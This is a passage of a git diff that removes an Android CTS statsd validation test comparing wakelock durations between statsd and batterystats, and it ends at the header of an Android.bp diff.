- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-import android.os.BatteryPluggedStateEnum;
-import android.os.BatteryStatsProto;
-import android.os.UidProto;
-import android.os.UidProto.Wakelock;
-import android.os.WakeLockLevelEnum;
-import android.platform.test.annotations.RestrictedBuildTest;
-import android.view.DisplayStateEnum;
-
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.DurationMetric;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.LogicalOperation;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.PluggedStateChanged;
-import com.android.os.AtomsProto.ScreenStateChanged;
-import com.android.os.AtomsProto.WakelockStateChanged;
-import com.android.os.StatsLog.DimensionsValue;
-import com.android.os.StatsLog.DurationBucketInfo;
-import com.android.os.StatsLog.DurationMetricData;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import com.google.common.collect.Range;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-/**
- * Side-by-side comparison between statsd and batterystats.
- */
-public class ValidationTests extends DeviceAtomTestCase {
-
- private static final String TAG = "Statsd.ValidationTests";
- private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
- private static final boolean ENABLE_LOAD_TEST = false;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- }
-
- @Override
- protected void tearDown() throws Exception {
- resetBatteryStatus(); // Undo any unplugDevice().
- turnScreenOn(); // Reset screen to on state
- super.tearDown();
- }
-
- public void testPartialWakelock() throws Exception {
- if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
- resetBatteryStats();
- unplugDevice();
- // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
- // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
- String aodState = getAodState();
- setAodState("0");
- turnScreenOff();
-
- final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
- Set<Integer> wakelockOn = new HashSet<>(Arrays.asList(
- WakelockStateChanged.State.ACQUIRE_VALUE,
- WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE));
- Set<Integer> wakelockOff = new HashSet<>(Arrays.asList(
- WakelockStateChanged.State.RELEASE_VALUE,
- WakelockStateChanged.State.CHANGE_RELEASE_VALUE));
-
- final String EXPECTED_TAG = "StatsdPartialWakelock";
- final WakeLockLevelEnum EXPECTED_LEVEL = WakeLockLevelEnum.PARTIAL_WAKE_LOCK;
-
- // Add state sets to the list in order.
- List<Set<Integer>> stateSet = Arrays.asList(wakelockOn, wakelockOff);
-
- createAndUploadConfig(atomTag, true); // True: uses attribution.
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockState");
-
- // Sorted list of events in order in which they occurred.
- List<EventMetricData> data = getEventMetricDataList();
-
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-
- //=================== verify that statsd is correct ===============//
- // Assert that the events happened in the expected order.
- assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
- atom -> atom.getWakelockStateChanged().getState().getNumber());
-
- for (EventMetricData event : data) {
- String tag = event.getAtom().getWakelockStateChanged().getTag();
- WakeLockLevelEnum type = event.getAtom().getWakelockStateChanged().getType();
- assertThat(tag).isEqualTo(EXPECTED_TAG);
- assertThat(type).isEqualTo(EXPECTED_LEVEL);
- }
-
- //=================== verify that batterystats is correct ===============//
- int uid = getUid();
- android.os.TimerProto wl =
- getBatteryStatsPartialWakelock(batterystatsProto, uid, EXPECTED_TAG);
-
- assertThat(wl).isNotNull();
- assertThat(wl.getDurationMs()).isGreaterThan(0L);
- assertThat(wl.getMaxDurationMs()).isIn(Range.closedOpen(400L, 700L));
- assertThat(wl.getTotalDurationMs()).isIn(Range.closedOpen(400L, 700L));
-
- setAodState(aodState); // restores AOD to initial state.
- }
-
- @RestrictedBuildTest
- public void testPartialWakelockDuration() throws Exception {
- if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-
- // getUid() needs shell command via ADB. turnScreenOff() sometimes let system go to suspend.
- // ADB disconnection causes failure of getUid(). Move up here before turnScreenOff().
- final int EXPECTED_UID = getUid();
-
- turnScreenOn(); // To ensure that the ScreenOff later gets logged.
- // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
- // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
- String aodState = getAodState();
- setAodState("0");
- uploadWakelockDurationBatteryStatsConfig(TimeUnit.CTS);
- Thread.sleep(WAIT_TIME_SHORT);
- resetBatteryStats();
- unplugDevice();
- turnScreenOff();
-
- Thread.sleep(WAIT_TIME_SHORT);
-
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockState");
- Thread.sleep(WAIT_TIME_LONG); // Make sure the one second bucket has ended.
-
-
- final String EXPECTED_TAG = "StatsdPartialWakelock";
- final long EXPECTED_TAG_HASH = Long.parseUnsignedLong("15814523794762874414");
- final int MIN_DURATION = 350;
- final int MAX_DURATION = 700;
-
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
- HashMap<Integer, HashMap<Long, Long>> statsdWakelockData = getStatsdWakelockData();
-
- // Get the batterystats wakelock time and make sure it's reasonable.
- android.os.TimerProto bsWakelock =
- getBatteryStatsPartialWakelock(batterystatsProto, EXPECTED_UID, EXPECTED_TAG);
- assertWithMessage(
- "No partial wakelocks with uid %s and tag %s in BatteryStats",
- EXPECTED_UID, EXPECTED_TAG
- ).that(bsWakelock).isNotNull();
- long bsDurationMs = bsWakelock.getTotalDurationMs();
- assertWithMessage(
- "Wakelock in batterystats with uid %s and tag %s was too short or too long",
- EXPECTED_UID, EXPECTED_TAG
- ).that(bsDurationMs).isIn(Range.closed((long) MIN_DURATION, (long) MAX_DURATION));
-
- // Get the statsd wakelock time and make sure it's reasonable.
- assertWithMessage("No wakelocks with uid %s in statsd", EXPECTED_UID)
- .that(statsdWakelockData).containsKey(EXPECTED_UID);
- assertWithMessage("No wakelocks with tag %s in statsd", EXPECTED_TAG)
- .that(statsdWakelockData.get(EXPECTED_UID)).containsKey(EXPECTED_TAG_HASH);
- long statsdDurationMs = statsdWakelockData.get(EXPECTED_UID)
- .get(EXPECTED_TAG_HASH) / 1_000_000;
- assertWithMessage(
- "Wakelock in statsd with uid %s and tag %s was too short or too long",
- EXPECTED_UID, EXPECTED_TAG
- ).that(statsdDurationMs).isIn(Range.closed((long) MIN_DURATION, (long) MAX_DURATION));
-
- // Compare batterystats with statsd.
- long difference = Math.abs(statsdDurationMs - bsDurationMs);
- assertWithMessage(
- "For uid=%s tag=%s had BatteryStats=%s ms but statsd=%s ms",
- EXPECTED_UID, EXPECTED_TAG, bsDurationMs, statsdDurationMs
- ).that(difference).isAtMost(Math.max(bsDurationMs / 10, 10L));
-
- setAodState(aodState); // restores AOD to initial state.
- }
-
- public void testPartialWakelockLoad() throws Exception {
- if (!ENABLE_LOAD_TEST) return;
- turnScreenOn(); // To ensure that the ScreenOff later gets logged.
- uploadWakelockDurationBatteryStatsConfig(TimeUnit.CTS);
- Thread.sleep(WAIT_TIME_SHORT);
- resetBatteryStats();
- unplugDevice();
- turnScreenOff();
-
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockLoad");
- // Give time for stuck wakelocks to increase duration.
- Thread.sleep(10_000);
-
-
- final String EXPECTED_TAG = "StatsdPartialWakelock";
- final int EXPECTED_UID = getUid();
- final int NUM_THREADS = 16;
- final int NUM_COUNT_PER_THREAD = 1000;
- final int MAX_DURATION_MS = 15_000;
- final int MIN_DURATION_MS = 1_000;
-
-
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
- HashMap<Integer, HashMap<Long, Long>> statsdWakelockData = getStatsdWakelockData();
-
- // TODO: this fails because we only have the hashes of the wakelock tags in statsd.
- // If we want to run this test, we need to fix this.
-
- // Verify batterystats output is reasonable.
- // boolean foundUid = false;
- // for (UidProto uidProto : batterystatsProto.getUidsList()) {
- // if (uidProto.getUid() == EXPECTED_UID) {
- // foundUid = true;
- // CLog.d("Battery stats has the following wakelocks: \n" +
- // uidProto.getWakelocksList());
- // assertTrue("UidProto has size " + uidProto.getWakelocksList().size() +
- // " wakelocks in it. Expected " + NUM_THREADS + " wakelocks.",
- // uidProto.getWakelocksList().size() == NUM_THREADS);
- //
- // for (Wakelock wl : uidProto.getWakelocksList()) {
- // String tag = wl.getName();
- // assertTrue("Wakelock tag in batterystats " + tag + " does not contain "
- // + "expected tag " + EXPECTED_TAG, tag.contains(EXPECTED_TAG));
- // assertTrue("Wakelock in batterystats with tag " + tag + " does not have any "
- // + "partial wakelock data.", wl.hasPartial());
- // assertTrue("Wakelock in batterystats with tag " + tag + " tag has count " +
- // wl.getPartial().getCount() + " Expected " + NUM_COUNT_PER_THREAD,
- // wl.getPartial().getCount() == NUM_COUNT_PER_THREAD);
- // long bsDurationMs = wl.getPartial().getTotalDurationMs();
- // assertTrue("Wakelock in batterystats with uid " + EXPECTED_UID + " and tag "
- // + EXPECTED_TAG + "was too short. Expected " + MIN_DURATION_MS +
- // ", received " + bsDurationMs, bsDurationMs >= MIN_DURATION_MS);
- // assertTrue("Wakelock in batterystats with uid " + EXPECTED_UID + " and tag "
- // + EXPECTED_TAG + "was too long. Expected " + MAX_DURATION_MS +
- // ", received " + bsDurationMs, bsDurationMs <= MAX_DURATION_MS);
- //
- // // Validate statsd.
- // long statsdDurationNs = statsdWakelockData.get(EXPECTED_UID).get(tag);
- // long statsdDurationMs = statsdDurationNs / 1_000_000;
- // long difference = Math.abs(statsdDurationMs - bsDurationMs);
- // assertTrue("Unusually large difference in wakelock duration for tag: " +
- // tag +
- // ". Statsd had duration " + statsdDurationMs +
- // " and batterystats had duration " + bsDurationMs,
- // difference <= bsDurationMs / 10);
- //
- // }
- // }
- // }
- // assertTrue("Did not find uid " + EXPECTED_UID + " in batterystats.", foundUid);
- //
- // // Assert that the wakelock appears in statsd and is correct.
- // assertTrue("Could not find any wakelocks with uid " + EXPECTED_UID + " in statsd",
- // statsdWakelockData.containsKey(EXPECTED_UID));
- // HashMap<String, Long> expectedWakelocks = statsdWakelockData.get(EXPECTED_UID);
- // assertEquals("Expected " + NUM_THREADS + " wakelocks in statsd with UID " +
- // EXPECTED_UID +
- // ". Received " + expectedWakelocks.size(), expectedWakelocks.size(), NUM_THREADS);
- }
-
- // Helper functions
- // TODO: Refactor these into some utils class.
-
- public HashMap<Integer, HashMap<Long, Long>> getStatsdWakelockData() throws Exception {
- StatsLogReport report = getStatsLogReport();
- CLog.d("Received the following stats log report: \n" + report.toString());
-
- // Stores total duration of each wakelock across buckets.
- HashMap<Integer, HashMap<Long, Long>> statsdWakelockData = new HashMap<>();
-
- for (DurationMetricData data : report.getDurationMetrics().getDataList()) {
- // Gets tag and uid.
- List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
- assertThat(dims).hasSize(2);
- boolean hasTag = false;
- long tag = 0;
- int uid = -1;
- long duration = 0;
- for (DimensionsValue dim : dims) {
- if (dim.hasValueInt()) {
- uid = dim.getValueInt();
- } else if (dim.hasValueStrHash()) {
- hasTag = true;
- tag = dim.getValueStrHash();
- }
- }
- assertWithMessage("Did not receive a tag for the wakelock").that(hasTag).isTrue();
- assertWithMessage("Did not receive a uid for the wakelock").that(uid).isNotEqualTo(-1);
-
- // Gets duration.
- for (DurationBucketInfo bucketInfo : data.getBucketInfoList()) {
- duration += bucketInfo.getDurationNanos();
- }
-
- // Store the info.
- if (statsdWakelockData.containsKey(uid)) {
- HashMap<Long, Long> tagToDuration = statsdWakelockData.get(uid);
- tagToDuration.put(tag, duration);
- } else {
- HashMap<Long, Long> tagToDuration = new HashMap<>();
- tagToDuration.put(tag, duration);
- statsdWakelockData.put(uid, tagToDuration);
- }
- }
- CLog.d("follow: statsdwakelockdata is: " + statsdWakelockData);
- return statsdWakelockData;
- }
-
- private android.os.TimerProto getBatteryStatsPartialWakelock(BatteryStatsProto proto,
- long uid, String tag) {
- if (proto.getUidsList().size() < 1) {
- CLog.w("Batterystats proto contains no uids");
- return null;
- }
- boolean hadUid = false;
- for (UidProto uidProto : proto.getUidsList()) {
- if (uidProto.getUid() == uid) {
- hadUid = true;
- for (Wakelock wl : uidProto.getWakelocksList()) {
- if (tag.equals(wl.getName())) {
- if (wl.hasPartial()) {
- return wl.getPartial();
- }
- CLog.w("Batterystats had wakelock for uid (" + uid + ") "
- + "with tag (" + tag + ") "
- + "but it didn't have a partial wakelock");
- }
- }
- CLog.w("Batterystats didn't have a partial wakelock for uid " + uid
- + " with tag " + tag);
- }
- }
- if (!hadUid) CLog.w("Batterystats didn't have uid " + uid);
- return null;
- }
-
- public void uploadWakelockDurationBatteryStatsConfig(TimeUnit bucketsize) throws Exception {
- final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
- String metricName = "DURATION_PARTIAL_WAKELOCK_PER_TAG_UID_WHILE_SCREEN_OFF_ON_BATTERY";
- int metricId = metricName.hashCode();
-
- String partialWakelockIsOnName = "PARTIAL_WAKELOCK_IS_ON";
- int partialWakelockIsOnId = partialWakelockIsOnName.hashCode();
-
- String partialWakelockOnName = "PARTIAL_WAKELOCK_ON";
- int partialWakelockOnId = partialWakelockOnName.hashCode();
- String partialWakelockOffName = "PARTIAL_WAKELOCK_OFF";
- int partialWakelockOffId = partialWakelockOffName.hashCode();
-
- String partialWakelockAcquireName = "PARTIAL_WAKELOCK_ACQUIRE";
- int partialWakelockAcquireId = partialWakelockAcquireName.hashCode();
- String partialWakelockChangeAcquireName = "PARTIAL_WAKELOCK_CHANGE_ACQUIRE";
- int partialWakelockChangeAcquireId = partialWakelockChangeAcquireName.hashCode();
-
- String partialWakelockReleaseName = "PARTIAL_WAKELOCK_RELEASE";
- int partialWakelockReleaseId = partialWakelockReleaseName.hashCode();
- String partialWakelockChangeReleaseName = "PARTIAL_WAKELOCK_CHANGE_RELEASE";
- int partialWakelockChangeReleaseId = partialWakelockChangeReleaseName.hashCode();
-
-
- String screenOffBatteryOnName = "SCREEN_IS_OFF_ON_BATTERY";
- int screenOffBatteryOnId = screenOffBatteryOnName.hashCode();
-
- String screenStateUnknownName = "SCREEN_STATE_UNKNOWN";
- int screenStateUnknownId = screenStateUnknownName.hashCode();
- String screenStateOffName = "SCREEN_STATE_OFF";
- int screenStateOffId = screenStateOffName.hashCode();
- String screenStateOnName = "SCREEN_STATE_ON";
- int screenStateOnId = screenStateOnName.hashCode();
- String screenStateDozeName = "SCREEN_STATE_DOZE";
- int screenStateDozeId = screenStateDozeName.hashCode();
- String screenStateDozeSuspendName = "SCREEN_STATE_DOZE_SUSPEND";
- int screenStateDozeSuspendId = screenStateDozeSuspendName.hashCode();
- String screenStateVrName = "SCREEN_STATE_VR";
- int screenStateVrId = screenStateVrName.hashCode();
- String screenStateOnSuspendName = "SCREEN_STATE_ON_SUSPEND";
- int screenStateOnSuspendId = screenStateOnSuspendName.hashCode();
-
- String screenTurnedOnName = "SCREEN_TURNED_ON";
- int screenTurnedOnId = screenTurnedOnName.hashCode();
- String screenTurnedOffName = "SCREEN_TURNED_OFF";
- int screenTurnedOffId = screenTurnedOffName.hashCode();
-
- String screenIsOffName = "SCREEN_IS_OFF";
- int screenIsOffId = screenIsOffName.hashCode();
-
- String pluggedStateBatteryPluggedNoneName = "PLUGGED_STATE_BATTERY_PLUGGED_NONE";
- int pluggedStateBatteryPluggedNoneId = pluggedStateBatteryPluggedNoneName.hashCode();
- String pluggedStateBatteryPluggedAcName = "PLUGGED_STATE_BATTERY_PLUGGED_AC";
- int pluggedStateBatteryPluggedAcId = pluggedStateBatteryPluggedAcName.hashCode();
- String pluggedStateBatteryPluggedUsbName = "PLUGGED_STATE_BATTERY_PLUGGED_USB";
- int pluggedStateBatteryPluggedUsbId = pluggedStateBatteryPluggedUsbName.hashCode();
- String pluggedStateBatteryPluggedWlName = "PLUGGED_STATE_BATTERY_PLUGGED_WIRELESS";
- int pluggedStateBatteryPluggedWirelessId = pluggedStateBatteryPluggedWlName.hashCode();
-
- String pluggedStateBatteryPluggedName = "PLUGGED_STATE_BATTERY_PLUGGED";
- int pluggedStateBatteryPluggedId = pluggedStateBatteryPluggedName.hashCode();
-
- String deviceIsUnpluggedName = "DEVICE_IS_UNPLUGGED";
- int deviceIsUnpluggedId = deviceIsUnpluggedName.hashCode();
-
-
- FieldMatcher.Builder dimensions = FieldMatcher.newBuilder()
- .setField(atomTag)
- .addChild(FieldMatcher.newBuilder()
- .setField(WakelockStateChanged.TAG_FIELD_NUMBER))
- .addChild(FieldMatcher.newBuilder()
- .setField(1)
- .setPosition(Position.FIRST)
- .addChild(FieldMatcher.newBuilder()
- .setField(1)));
-
- AtomMatcher.Builder wakelockAcquire = AtomMatcher.newBuilder()
- .setId(partialWakelockAcquireId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(atomTag)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
- .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(WakelockStateChanged.State.ACQUIRE_VALUE)));
-
- AtomMatcher.Builder wakelockChangeAcquire = AtomMatcher.newBuilder()
- .setId(partialWakelockChangeAcquireId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(atomTag)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
- .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE)));
-
- AtomMatcher.Builder wakelockRelease = AtomMatcher.newBuilder()
- .setId(partialWakelockReleaseId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(atomTag)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
- .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(WakelockStateChanged.State.RELEASE_VALUE)));
-
- AtomMatcher.Builder wakelockChangeRelease = AtomMatcher.newBuilder()
- .setId(partialWakelockChangeReleaseId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(atomTag)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
- .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(WakelockStateChanged.State.CHANGE_RELEASE_VALUE)));
-
- AtomMatcher.Builder wakelockOn = AtomMatcher.newBuilder()
- .setId(partialWakelockOnId)
- .setCombination(AtomMatcher.Combination.newBuilder()
- .setOperation(LogicalOperation.OR)
- .addMatcher(partialWakelockAcquireId)
- .addMatcher(partialWakelockChangeAcquireId));
-
- AtomMatcher.Builder wakelockOff = AtomMatcher.newBuilder()
- .setId(partialWakelockOffId)
- .setCombination(AtomMatcher.Combination.newBuilder()
- .setOperation(LogicalOperation.OR)
- .addMatcher(partialWakelockReleaseId)
- .addMatcher(partialWakelockChangeReleaseId));
-
-
- Predicate.Builder wakelockPredicate = Predicate.newBuilder()
- .setId(partialWakelockIsOnId)
- .setSimplePredicate(SimplePredicate.newBuilder()
- .setStart(partialWakelockOnId)
- .setStop(partialWakelockOffId)
- .setCountNesting(true)
- .setDimensions(dimensions));
-
- AtomMatcher.Builder pluggedStateBatteryPluggedNone = AtomMatcher.newBuilder()
- .setId(pluggedStateBatteryPluggedNoneId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_NONE_VALUE)));
-
- AtomMatcher.Builder pluggedStateBatteryPluggedAc = AtomMatcher.newBuilder()
- .setId(pluggedStateBatteryPluggedAcId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_AC_VALUE)));
-
- AtomMatcher.Builder pluggedStateBatteryPluggedUsb = AtomMatcher.newBuilder()
- .setId(pluggedStateBatteryPluggedUsbId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_USB_VALUE)));
-
- AtomMatcher.Builder pluggedStateBatteryPluggedWireless = AtomMatcher.newBuilder()
- .setId(pluggedStateBatteryPluggedWirelessId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_WIRELESS_VALUE)));
-
- AtomMatcher.Builder pluggedStateBatteryPlugged = AtomMatcher.newBuilder()
- .setId(pluggedStateBatteryPluggedId)
- .setCombination(AtomMatcher.Combination.newBuilder()
- .setOperation(LogicalOperation.OR)
- .addMatcher(pluggedStateBatteryPluggedAcId)
- .addMatcher(pluggedStateBatteryPluggedUsbId)
- .addMatcher(pluggedStateBatteryPluggedWirelessId));
-
- Predicate.Builder deviceIsUnplugged = Predicate.newBuilder()
- .setId(deviceIsUnpluggedId)
- .setSimplePredicate(SimplePredicate.newBuilder()
- .setStart(pluggedStateBatteryPluggedNoneId)
- .setStop(pluggedStateBatteryPluggedId)
- .setCountNesting(false));
-
- AtomMatcher.Builder screenStateUnknown = AtomMatcher.newBuilder()
- .setId(screenStateUnknownId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_UNKNOWN_VALUE)));
-
- AtomMatcher.Builder screenStateOff = AtomMatcher.newBuilder()
- .setId(screenStateOffId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_OFF_VALUE)));
-
- AtomMatcher.Builder screenStateOn = AtomMatcher.newBuilder()
- .setId(screenStateOnId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_ON_VALUE)));
-
- AtomMatcher.Builder screenStateDoze = AtomMatcher.newBuilder()
- .setId(screenStateDozeId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_DOZE_VALUE)));
-
- AtomMatcher.Builder screenStateDozeSuspend = AtomMatcher.newBuilder()
- .setId(screenStateDozeSuspendId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_DOZE_SUSPEND_VALUE)));
-
- AtomMatcher.Builder screenStateVr = AtomMatcher.newBuilder()
- .setId(screenStateVrId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_VR_VALUE)));
-
- AtomMatcher.Builder screenStateOnSuspend = AtomMatcher.newBuilder()
- .setId(screenStateOnSuspendId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_ON_SUSPEND_VALUE)));
-
-
- AtomMatcher.Builder screenTurnedOff = AtomMatcher.newBuilder()
- .setId(screenTurnedOffId)
- .setCombination(AtomMatcher.Combination.newBuilder()
- .setOperation(LogicalOperation.OR)
- .addMatcher(screenStateOffId)
- .addMatcher(screenStateDozeId)
- .addMatcher(screenStateDozeSuspendId)
- .addMatcher(screenStateUnknownId));
-
- AtomMatcher.Builder screenTurnedOn = AtomMatcher.newBuilder()
- .setId(screenTurnedOnId)
- .setCombination(AtomMatcher.Combination.newBuilder()
- .setOperation(LogicalOperation.OR)
- .addMatcher(screenStateOnId)
- .addMatcher(screenStateOnSuspendId)
- .addMatcher(screenStateVrId));
-
- Predicate.Builder screenIsOff = Predicate.newBuilder()
- .setId(screenIsOffId)
- .setSimplePredicate(SimplePredicate.newBuilder()
- .setStart(screenTurnedOffId)
- .setStop(screenTurnedOnId)
- .setCountNesting(false));
-
-
- Predicate.Builder screenOffBatteryOn = Predicate.newBuilder()
- .setId(screenOffBatteryOnId)
- .setCombination(Predicate.Combination.newBuilder()
- .setOperation(LogicalOperation.AND)
- .addPredicate(screenIsOffId)
- .addPredicate(deviceIsUnpluggedId));
-
- StatsdConfig.Builder builder = createConfigBuilder();
- builder.addDurationMetric(DurationMetric.newBuilder()
- .setId(metricId)
- .setWhat(partialWakelockIsOnId)
- .setCondition(screenOffBatteryOnId)
- .setDimensionsInWhat(dimensions)
- .setBucket(bucketsize))
- .addAtomMatcher(wakelockAcquire)
- .addAtomMatcher(wakelockChangeAcquire)
- .addAtomMatcher(wakelockRelease)
- .addAtomMatcher(wakelockChangeRelease)
- .addAtomMatcher(wakelockOn)
- .addAtomMatcher(wakelockOff)
- .addAtomMatcher(pluggedStateBatteryPluggedNone)
- .addAtomMatcher(pluggedStateBatteryPluggedAc)
- .addAtomMatcher(pluggedStateBatteryPluggedUsb)
- .addAtomMatcher(pluggedStateBatteryPluggedWireless)
- .addAtomMatcher(pluggedStateBatteryPlugged)
- .addAtomMatcher(screenStateUnknown)
- .addAtomMatcher(screenStateOff)
- .addAtomMatcher(screenStateOn)
- .addAtomMatcher(screenStateDoze)
- .addAtomMatcher(screenStateDozeSuspend)
- .addAtomMatcher(screenStateVr)
- .addAtomMatcher(screenStateOnSuspend)
- .addAtomMatcher(screenTurnedOff)
- .addAtomMatcher(screenTurnedOn)
- .addPredicate(wakelockPredicate)
- .addPredicate(deviceIsUnplugged)
- .addPredicate(screenIsOff)
- .addPredicate(screenOffBatteryOn);
-
- uploadConfig(builder);
- }
-}
diff --git a/hostsidetests/statsdatom/Android.bp b/hostsidetests/statsdatom/Android.bp
index f7a9cd1..4e6f943 100644
--- a/hostsidetests/statsdatom/Android.bp
+++ b/hostsidetests/statsdatom/Android.bp
